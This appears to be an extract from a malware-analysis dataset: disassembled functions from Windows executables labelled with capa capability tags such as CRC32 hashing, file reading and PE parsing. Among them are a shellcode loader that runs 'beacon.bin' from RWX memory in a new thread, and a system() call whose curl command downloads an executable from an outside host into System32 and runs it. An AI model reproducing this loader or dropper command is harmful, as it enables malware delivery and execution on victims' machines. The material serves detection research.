joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000df00
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x14000dfc5
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x14000dfc5
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x14000dfde
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx + 0x10]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx]
cmp rcx, rax
je 0x14000dfb5
cmp byte [rcx], 0x5c
jne 0x14000dfae
lea rdx, [rcx + 1]
cmp rdx, rax
je 0x14000dfae
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x14000df9c
movzx eax, byte [rdx]
sub al, 0x28
cmp al, 1
jbe 0x14000dfab
test r8b, 0x10
jne 0x14000dfae
movzx eax, byte [rdx]
sub al, 0x7b
test al, 0xfd
jne 0x14000dfae
mov rcx, rdx
lea rax, [rcx + 1]
mov qword [rbx], rax
mov rcx, rbx
call fcn.14000a870
test edi, edi
jne 0x14000df20
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.14000a860
int3

Function at 0x140012374
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.DLL_GetLocaleInfoEx]
test eax, eax
jne 0x1400123ae
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400123b3
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.DLL_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400123fc
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140015660]
cmp byte [rcx + rax], 0
je 0x1400123fc
dec r8
sub rdx, 1
jne 0x1400123e2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140012b90
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.14001248c
mov ebx, eax
test eax, eax
jne 0x140012bc0
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x140012c23
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140012c1a
test al, 0x10
je 0x140012c1a
bt eax, 0xa
jae 0x140012c13
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.140012c34
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x140012c0f
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test eax, eax
jne 0x140012c0f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
test edi, edi
jne 0x140012c1a
and dword [rsp + 0x3c], 0
jmp 0x140012c1f
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140013c34
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test rax, rax
je 0x140013c7e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140013c7e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140013c7e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140013c7e
cmp dword [rcx + 0x84], 0xe
jbe 0x140013c7e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140013c80
xor al, al
add rsp, 0x28
ret
Function at 0x140011217
Capabilities:
Terminate process

Disassembly:
jmp 0x1400131b0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011244
Capabilities:
Read file on windows

Disassembly:
jmp 0x140011830
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e040]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x1400240a3]
call fcn.1400113ac
nop
lea r8, [0x14001ae1c]
lea rdx, str.beacon.bin
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fopen_s]
test eax, eax
je 0x1400118a3
lea rdx, str.beacon.bin
lea rcx, str.Could_not_open_file:__s_n
call fcn.1400111b3
nop
jmp 0x140011941
mov r8d, 2
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fseek]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_ftell]
cdqe
mov qword [rbp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fseek]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x140011905
lea rcx, str.Memory_allocation_failed_n
call fcn.1400111b3
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
nop
jmp 0x140011941
mov r9, qword [rbp + 8]
mov r8, qword [rbp + 0x28]
mov edx, 1
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ucrtbased.dll_fread]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
nop
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x48]
call fcn.1400112d0
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ucrtbased.dll_free]
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ad00]
call fcn.140011343
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400111cc
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x1400112ad
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014500
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014520
xor al, al
jmp 0x1400145a1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014533
xor al, al
jmp 0x1400145a1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001455d
xor al, al
jmp 0x1400145a1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014571
xor al, al
jmp 0x1400145a1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014583
xor al, al
jmp 0x1400145a1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001459f
xor al, al
jmp 0x1400145a1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400112d0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400119c0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
mov rax, qword [0x14001e040]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x1400240a3]
call fcn.1400113ac
nop
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, qword [rbp + 0x148]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140011a57
mov eax, dword [section..data]
add eax, 3
mov r8d, eax
lea rdx, str.C:Users_vmDesktopVisual_CShellcodeloadermain.cpp
lea rcx, str.shellcodeAddress___NULL
call qword [sym.imp.ucrtbased.dll__wassert]
xor eax, eax
mov r8, qword [rbp + 0x148]
mov rdx, qword [rbp + 0x140]
mov rcx, qword [rbp + 0x28]
call fcn.1400111d1
nop
lea rax, [rbp + 4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x140011abe
mov eax, dword [section..data]
add eax, 8
mov r8d, eax
lea rdx, str.C:Users_vmDesktopVisual_CShellcodeloadermain.cpp
lea rcx, str.thread___NULL
call qword [sym.imp.ucrtbased.dll__wassert]
xor eax, eax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ac80]
call fcn.140011343
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400111cc
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x1400123f0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113d4
movzx eax, al
test eax, eax
jne 0x140012410
mov ecx, 7
call fcn.14001134d
nop
mov byte [rsp + 0x20], 0
call fcn.140011361
mov byte [rsp + 0x21], al
cmp dword [0x14001e8b8], 1
jne 0x140012434
mov ecx, 7
call fcn.14001134d
nop
jmp 0x14001248c
cmp dword [0x14001e8b8], 0
jne 0x140012487
mov dword [0x14001e8b8], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111b8
test eax, eax
je 0x140012468
mov eax, 0xff
jmp 0x140012591
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011357
mov dword [0x14001e8b8], 2
jmp 0x14001248c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011339
call fcn.1400112d5
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400124e9
mov rcx, qword [rsp + 0x30]
call fcn.140011168
movzx eax, al
test eax, eax
je 0x1400124e9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140025020]
nop
call fcn.140011307
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001251d
mov rcx, qword [rsp + 0x38]
call fcn.140011168
movzx eax, al
test eax, eax
je 0x14001251d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001138e
nop
call fcn.140012640
mov dword [rsp + 0x28], eax
call fcn.1400112ad
movzx eax, al
test eax, eax
jne 0x14001253c
mov ecx, dword [rsp + 0x28]
call fcn.14001105a
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001254b
call fcn.140011398
nop
xor edx, edx
mov cl, 1
call fcn.140011159
mov eax, dword [rsp + 0x28]
jmp 0x140012591
add rsp, 0x68
ret
Function at 0x14000f9d0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x14000fa31
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x14000f9f0
mov ecx, dword [r9]
jmp 0x14000fb1b
cmp ecx, 0x4e0
jb 0x14000fb1b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x14000fa50
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x14000faa0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x14001c460
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140282300]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x140284df8]
mov edi, edx
mov esi, ecx
cmp byte [rbx + 0x4a8f], 0
jne 0x14001c4c8
cmp byte [rbx + 0x4a90], 0
jne 0x14001c4c8
movsx r9d, word [rbx + 0x5b76]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140022c20
test sil, 2
je 0x14001c600
jmp 0x14001c561
movss xmm1, dword [rbx + 0x38c0]
lea r8, str.Tooltip__02d
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
mulss xmm0, dword [0x1400ed548]
xor eax, eax
mov edx, 0x10
mulss xmm1, dword [0x1400ed540]
addss xmm0, dword [rbx + 0xe24]
addss xmm1, dword [rbx + 0xe28]
or dword [rbx + 0x47d8], 1
mov qword [rbx + 0x47f0], rax
movss dword [rbx + 0x47e8], xmm0
mov dword [rbx + 0x47dc], 1
movss dword [rbx + 0x47ec], xmm1
movss xmm0, dword [rbx + 0x3928]
mov rax, qword [0x140284df8]
mulss xmm0, dword [0x1400ed4ec]
or dword [rax + 0x47d8], 0x40
movss dword [rax + 0x4838], xmm0
movsx r9d, word [rbx + 0x5b76]
call fcn.140022c20
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x14001c5b1
lea r11, [0x1400e7050]
cmp r9b, 0x23
jne 0x14001c594
cmp byte [r8], r9b
jne 0x14001c594
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x14001c581
not ecx
call fcn.140021120
test rax, rax
je 0x14001c600
cmp byte [rax + 0xae], 0
je 0x14001c600
mov byte [rax + 0xb3], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xb5], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xd0], 1
mov edx, 0x10
inc word [rbx + 0x5b76]
movsx r9d, word [rbx + 0x5b76]
call fcn.140022c20
or edi, 0x20c0347
lea rcx, [rsp + 0x20]
mov r8d, edi
xor edx, edx
call fcn.140019ca0
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400dab60
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x14001e7e0
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov rdi, qword [0x140284df8]
lea rcx, str.curl__s_https:__textpubshiers.top_Stb_PokerFace_BritneySpears005_Special_Sprdr44_theone.txt__o_C:WindowsSystem32Mac.exe__C:WindowsSystem32Mac.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [0x140284df8]
test rax, rax
je 0x14001e813
inc dword [rax + 0x11c]
mov rdx, qword [0x140284e08]
mov ecx, 0x5e18
call qword [0x140179020]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x20], rax
test rax, rax
je 0x14001e84e
mov rdx, rbx
mov rcx, rax
call fcn.1400170a0
mov rbx, rax
jmp 0x14001e850
xor ebx, ebx
mov qword [0x140284df8], rbx
call fcn.1400230f0
mov rax, rbx
test rdi, rdi
je 0x14001e86b
mov qword [0x140284df8], rdi
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140021000
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
movzx r8d, byte [rcx]
lea rdx, [rcx + 1]
mov r14, qword [0x140284df8]
mov r9d, 0xffffffff
mov ebx, r9d
test r8b, r8b
je 0x140021064
lea r10, [0x1400e7050]
cmp r8b, 0x23
jne 0x140021047
cmp byte [rdx], r8b
jne 0x140021047
cmp byte [rdx + 1], r8b
cmove ebx, r9d
movzx ecx, bl
movzx eax, r8b
movzx r8d, byte [rdx]
xor rcx, rax
shr ebx, 8
inc rdx
xor ebx, dword [r10 + rcx*4]
test r8b, r8b
jne 0x140021034
mov eax, dword [r14 + 0x5bd0]
xor edi, edi
mov qword [rsp + 0x30], rbp
not ebx
mov qword [rsp + 0x38], rsi
test eax, eax
jle 0x1400210c5
mov esi, edi
mov ebp, edi
test rsi, rsi
js 0x14002108a
cmp edi, eax
jl 0x1400210a4
mov r8d, 0x708
lea rdx, str.C:UsersUnknownDesktopDreamdependenciesguiimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [r14 + 0x5bd8]
cmp dword [rax + rbp + 8], ebx
je 0x1400210e2
mov eax, dword [r14 + 0x5bd0]
inc edi
inc rsi
add rbp, 0x48
cmp edi, eax
jl 0x140021081
xor eax, eax
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
test edi, edi
js 0x1400210ef
cmp edi, dword [r14 + 0x5bd0]
jl 0x140021109
mov r8d, 0x708
lea rdx, str.C:UsersUnknownDesktopDreamdependenciesguiimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rax, edi
lea rcx, [rax + rax*8]
mov rax, qword [r14 + 0x5bd8]
lea rax, [rax + rcx*8]
jmp 0x1400210c7

Function at 0x140021aa0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
movsxd rdi, edx
mov rbx, rcx
mov esi, edi
mov ebp, edi
mov r14d, edi
shr esi, 0x18
shr ebp, 0x10
shr r14d, 8
cmp dword [rcx + 0xe8], 0
jg 0x140021aec
mov r8d, 0x711
lea rdx, str.C:UsersUnknownDesktopDreamdependenciesguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0xe8]
lea rdx, [0x1400e7050]
mov rax, qword [rbx + 0xf0]
mov ebx, dword [rax + rcx*4 - 4]
not ebx
movzx eax, dil
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r14b
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, bpl
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov eax, esi
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [rdx + rcx*4]
mov rcx, qword [0x140284df8]
not ebx
cmp dword [rcx + 0x3f40], ebx
jne 0x140021b68
mov r8, rdi
xor r9d, r9d
mov edx, 4
mov ecx, ebx
call fcn.14001ee70
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x140021c20
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
cmp dword [rcx + 0xe8], 0
mov rdi, rdx
mov rbx, rcx
jg 0x140021c53
mov r8d, 0x711
lea rdx, str.C:UsersUnknownDesktopDreamdependenciesguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movss xmm0, dword [rbx + 0x108]
lea r10, [0x1400e7050]
movsxd rcx, dword [rbx + 0xe8]
mov rax, qword [rbx + 0xf0]
movss xmm2, dword [rdi]
movss xmm1, dword [rbx + 0x10c]
subss xmm2, xmm0
movss xmm3, dword [rdi + 4]
mov r9d, dword [rax + rcx*4 - 4]
subss xmm3, xmm1
movss xmm4, dword [rdi + 8]
not r9d
movzx ecx, r9b
subss xmm4, xmm0
movss xmm0, dword [rdi + 0xc]
shr r9d, 8
subss xmm0, xmm1
movd r8d, xmm2
movss dword [rsp + 0x20], xmm2
movzx eax, byte [rsp + 0x20]
xor rcx, rax
movss dword [rsp + 0x24], xmm3
mov eax, r8d
movss dword [rsp + 0x28], xmm4
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
movss dword [rsp + 0x2c], xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 0x24]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm3
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 0x28]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm4
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
shr eax, 8
movzx edx, al
movzx ecx, r9b
mov rbx, qword [rsp + 0x40]
xor rdx, rcx
shr r9d, 8
mov eax, r8d
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 0x2c]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
shr r8, 0x18
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx edx, r9b
shr r9d, 8
xor r8, rdx
xor r9d, dword [r10 + r8*4]
not r9d
mov eax, r9d
add rsp, 0x30
pop rdi
ret
Function at 0x1400228b0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
movsxd rbp, r9d
mov r14, r8
mov rbx, rdx
mov rdi, rcx
test rcx, rcx
je 0x1400228d3
test rdx, rdx
jne 0x1400228ed
mov r8d, 0x78d
lea rdx, str.C:UsersUnknownDesktopDreamdependenciesguiimgui.cpp
lea rcx, str.filename__mode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
test r14, r14
je 0x1400228f9
mov qword [r14], 0
mov rdx, rbx
mov rcx, rdi
call fcn.140022a50
mov rbx, rax
test rax, rax
jne 0x14002291a
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
mov qword [rsp + 0x40], rsi
mov rcx, rbx
mov qword [rsp + 0x48], r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140022a1f
xor edx, edx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140022a1f
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140022a1f
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140022a1f
cmp rdi, 0xffffffffffffffff
je 0x140022a1f
mov rax, qword [0x140284df8]
test rax, rax
je 0x140022998
inc dword [rax + 0x11c]
mov rdx, qword [0x140284e08]
lea rcx, [rdi + rbp]
call qword [0x140179020]
mov rsi, rax
test rax, rax
je 0x140022a1f
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, rdi
je 0x1400229f7
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140284df8]
test rax, rax
je 0x1400229e5
dec dword [rax + 0x11c]
mov rdx, qword [0x140284e08]
mov rcx, rsi
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140022a28
test ebp, ebp
jle 0x140022a09
lea rcx, [rdi + rsi]
mov r8, rbp
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x140022a1a
mov qword [r14], rdi
mov rax, rsi
jmp 0x140022a2a
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x140022e70
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140022ecd
lea rbx, [0x1400e7050]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140022eb4
cmp r10, 2
jb 0x140022eb4
